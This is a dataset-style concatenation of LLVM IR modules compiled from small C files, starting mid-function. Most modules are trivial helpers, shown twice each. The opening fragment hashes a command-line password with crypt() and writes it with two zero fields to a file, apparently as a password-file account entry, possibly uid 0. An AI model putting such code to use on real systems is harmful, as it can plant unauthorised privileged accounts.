load ptr, ptr %7, align 8 %37 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %36, ptr noundef @.str.5, i64 noundef 2911759) %38 = load ptr, ptr %7, align 8 %39 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %38, ptr noundef @.str.6, i64 noundef 2911823) %40 = load ptr, ptr %7, align 8 %41 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %40, ptr noundef @.str.7, i64 noundef 2912223) %42 = load ptr, ptr %7, align 8 %43 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %42, ptr noundef @.str.8, i64 noundef 19689439) br label %52 44: ; preds = %27 %45 = load ptr, ptr %5, align 8 %46 = getelementptr inbounds ptr, ptr %45, i64 2 %47 = load ptr, ptr %46, align 8 %48 = load ptr, ptr %5, align 8 %49 = getelementptr inbounds ptr, ptr %48, i64 1 %50 = load ptr, ptr %49, align 8 %51 = call i32 (ptr, ptr, ...) @printf(ptr noundef @.str.9, ptr noundef %47, ptr noundef %50) br label %52 52: ; preds = %44, %31 br label %53 53: ; preds = %81, %52 %54 = call i32 (...) @random() %55 = srem i32 %54, 78 %56 = add nsw i32 %55, 45 %57 = trunc i32 %56 to i8 %58 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 0 store i8 %57, ptr %58, align 1 br label %59 59: ; preds = %53 %60 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 0 %61 = load i8, ptr %60, align 1 %62 = zext i8 %61 to i32 %63 = icmp sgt i32 %62, 57 br i1 %63, label %64, label %69 64: ; preds = %59 %65 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 0 %66 = load i8, ptr %65, align 1 %67 = zext i8 %66 to i32 %68 = icmp slt i32 %67, 65 br i1 %68, label %81, label %69 69: ; preds = %64, %59 %70 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 0 %71 = load i8, ptr %70, align 1 %72 = zext i8 %71 to i32 %73 = icmp sgt i32 %72, 90 br i1 %73, label %74, label %79 74: ; preds = %69 %75 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 0 %76 = load i8, ptr %75, align 1 %77 = zext i8 %76 to i32 %78 = icmp slt i32 %77, 97 br label %79 79: ; preds = %74, %69 %80 = phi i1 [ false, %69 ], [ %78, %74 ] br label %81 81: ; preds = %79, %64 %82 = phi i1 [ true, %64 ], [ %80, %79 ] br i1 %82, label %53, label %83, !llvm.loop !6 83: ; preds = %81 br label %84 84: ; preds = %112, %83 %85 = call i32 (...) @random() %86 = srem i32 %85, 78 %87 = add nsw i32 %86, 45 %88 = trunc i32 %87 to i8 %89 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 1 store i8 %88, ptr %89, align 1 br label %90 90: ; preds = %84 %91 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 1 %92 = load i8, ptr %91, align 1 %93 = zext i8 %92 to i32 %94 = icmp sgt i32 %93, 57 br i1 %94, label %95, label %100 95: ; preds = %90 %96 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 1 %97 = load i8, ptr %96, align 1 %98 = zext i8 %97 to i32 %99 = icmp slt i32 %98, 65 br i1 %99, label %112, label %100 100: ; preds = %95, %90 %101 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 1 %102 = load i8, ptr %101, align 1 %103 = zext i8 %102 to i32 %104 = icmp sgt i32 %103, 90 br i1 %104, label %105, label %110 105: ; preds = %100 %106 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 1 %107 = load i8, ptr %106, align 1 %108 = zext i8 %107 to i32 %109 = icmp slt i32 %108, 97 br label %110 110: ; preds = %105, %100 %111 = phi i1 [ false, %100 ], [ %109, %105 ] br label %112 112: ; preds = %110, %95 %113 = phi i1 [ true, %95 ], [ %111, %110 ] br i1 %113, label %84, label %114, !llvm.loop !8 114: ; preds = %112 %115 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 2 store i8 0, ptr %115, align 1 %116 = load ptr, ptr %7, align 8 %117 = load ptr, ptr %5, align 8 %118 = getelementptr inbounds ptr, ptr %117, i64 2 %119 = load ptr, ptr %118, align 8 %120 = load ptr, ptr %5, align 8 %121 = getelementptr inbounds ptr, ptr %120, i64 3 %122 = load ptr, ptr %121, align 8 %123 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 0 %124 = call ptr @crypt(ptr noundef %122, ptr noundef %123) %125 = load ptr, ptr %5, align 8 %126 = getelementptr inbounds ptr, ptr %125, i64 2 %127 = load ptr, ptr %126, align 8 %128 = call i32 @time(ptr noundef null) %129 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %116, ptr noundef @.str.10, ptr noundef %119, ptr noundef %124, i64 noundef 19689439, i32 noundef 0, i32 noundef 0, ptr noundef %127, i32 noundef %128, i32 noundef 0) %130 = load ptr, ptr %7, align 8 %131 = call i32 @fclose(ptr noundef %130) store i32 0, ptr %3, align 4 br label %132 132: ; preds = %114, %25, %10 %133 = load i32, ptr %3, align 4 ret i32 %133 } declare i32 @printf(ptr noundef, ptr noundef, ...) #1 declare i32 @srandom(i32 noundef) #1 declare i32 @time(ptr noundef) #1 declare ptr @fopen(ptr noundef, ptr noundef) #1 declare i32 @perror(ptr noundef) #1 declare i64 @ftell(ptr noundef) #1 declare i32 @fprintf(ptr noundef, ptr noundef, ...) #1 declare i32 @random(...) #1 declare ptr @crypt(ptr noundef, ptr noundef) #1 declare i32 @fclose(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7}
; ModuleID = '/tmp/tmp6chaeo4r.c' source_filename = "/tmp/tmp6chaeo4r.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @FS_IMMUTABLE_FL = dso_local global i32 0, align 4 @FS_IOC_GETFLAGS = dso_local global i32 0, align 4 @O_RDONLY = dso_local global i32 0, align 4 @errno = dso_local global i32 0, align 4 !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp6chaeo4r.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @FS_IMMUTABLE_FL = dso_local global i32 0, align 4 @FS_IOC_GETFLAGS = dso_local global i32 0, align 4 @O_RDONLY = dso_local global i32 0, align 4 @errno = dso_local global i32 0, align 4 !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp6ex9dgfo.c' source_filename = "/tmp/tmp6ex9dgfo.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @byteToHexString(i8 noundef zeroext %0) #0 { %2 = alloca i8, align 1 %3 = alloca [3 x i8], align 1 store i8 %0, ptr %2, align 1 %4 = load i8, ptr %2, align 1 %5 = getelementptr inbounds [3 x i8], ptr %3, i64 0, i64 0 %6 = call i32 @byteToHex(i8 noundef zeroext %4, ptr noundef %5) %7 = getelementptr inbounds [3 x i8], ptr %3, i64 0, i64 2 store i8 0, ptr %7, align 1 %8 = getelementptr inbounds [3 x i8], ptr %3, i64 0, i64 0 %9 = call ptr @cloneString(ptr noundef %8) ret ptr %9 } declare i32 @byteToHex(i8 noundef zeroext, ptr noundef) #1 declare ptr @cloneString(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp6ex9dgfo.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @byteToHexString(i8 noundef zeroext %0) #0 { %2 = alloca i8, align 1 %3 = alloca [3 x i8], align 1 store i8 %0, ptr %2, align 1 %4 = load i8, ptr %2, align 1 %5 = getelementptr inbounds [3 x i8], ptr %3, i64 0, i64 0 %6 = call i32 @byteToHex(i8 noundef zeroext %4, ptr noundef %5) %7 = getelementptr inbounds [3 x i8], ptr %3, i64 0, i64 2 store i8 0, ptr %7, align 1 %8 = getelementptr inbounds [3 x i8], ptr %3, i64 0, i64 0 %9 = call ptr @cloneString(ptr noundef %8) ret ptr %9 } declare i32 @byteToHex(i8 noundef zeroext, ptr noundef) #1 declare ptr @cloneString(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp6026cxwb.c' source_filename = "/tmp/tmp6026cxwb.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" %struct.TYPE_2__ = type { i64 } ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @get_XMapEvent_display(ptr noundef %0) #0 { %2 = alloca ptr, align 8 store ptr %0, ptr %2, align 8 %3 = load ptr, ptr %2, align 8 %4 = getelementptr inbounds %struct.TYPE_2__, ptr %3, i32 0, i32 0 %5 = load i64, ptr %4, align 8 %6 = inttoptr i64 %5 to ptr ret ptr %6 } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp6026cxwb.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" %struct.TYPE_2__ = type { i64 } ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @get_XMapEvent_display(ptr noundef %0) #0 { %2 = alloca ptr, align 8 store ptr %0, ptr %2, align 8 %3 = load ptr, ptr %2, align 8 %4 = getelementptr inbounds %struct.TYPE_2__, ptr %3, i32 0, i32 0 %5 = load i64, ptr %4, align 8 %6 = inttoptr i64 %5 to ptr ret ptr %6 } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp8nx7bm5j.c' source_filename = "/tmp/tmp8nx7bm5j.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @myfree(ptr noundef %0) #0 { %2 = alloca ptr, align 8 store ptr %0, ptr %2, align 8 %3 = load ptr, ptr %2, align 8 %4 = icmp ne ptr %3, null br i1 %4, label %5, label %8 5: ; preds = %1 %6 = load ptr, ptr %2, align 8 %7 = call i32 @free(ptr noundef %6) br label %8 8: ; preds = %5, %1 ret void } declare i32 @free(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp8nx7bm5j.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @myfree(ptr noundef %0) #0 { %2 = alloca ptr, align 8 store ptr %0, ptr %2, align 8 %3 = load ptr, ptr %2, align 8 %4 = icmp ne ptr %3, null br i1 %4, label %5, label %8 5: ; preds = %1 %6 = load ptr, ptr %2, align 8 %7 = call i32 @free(ptr noundef %6) br label %8 8: ; preds = %5, %1 ret void } declare i32 @free(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}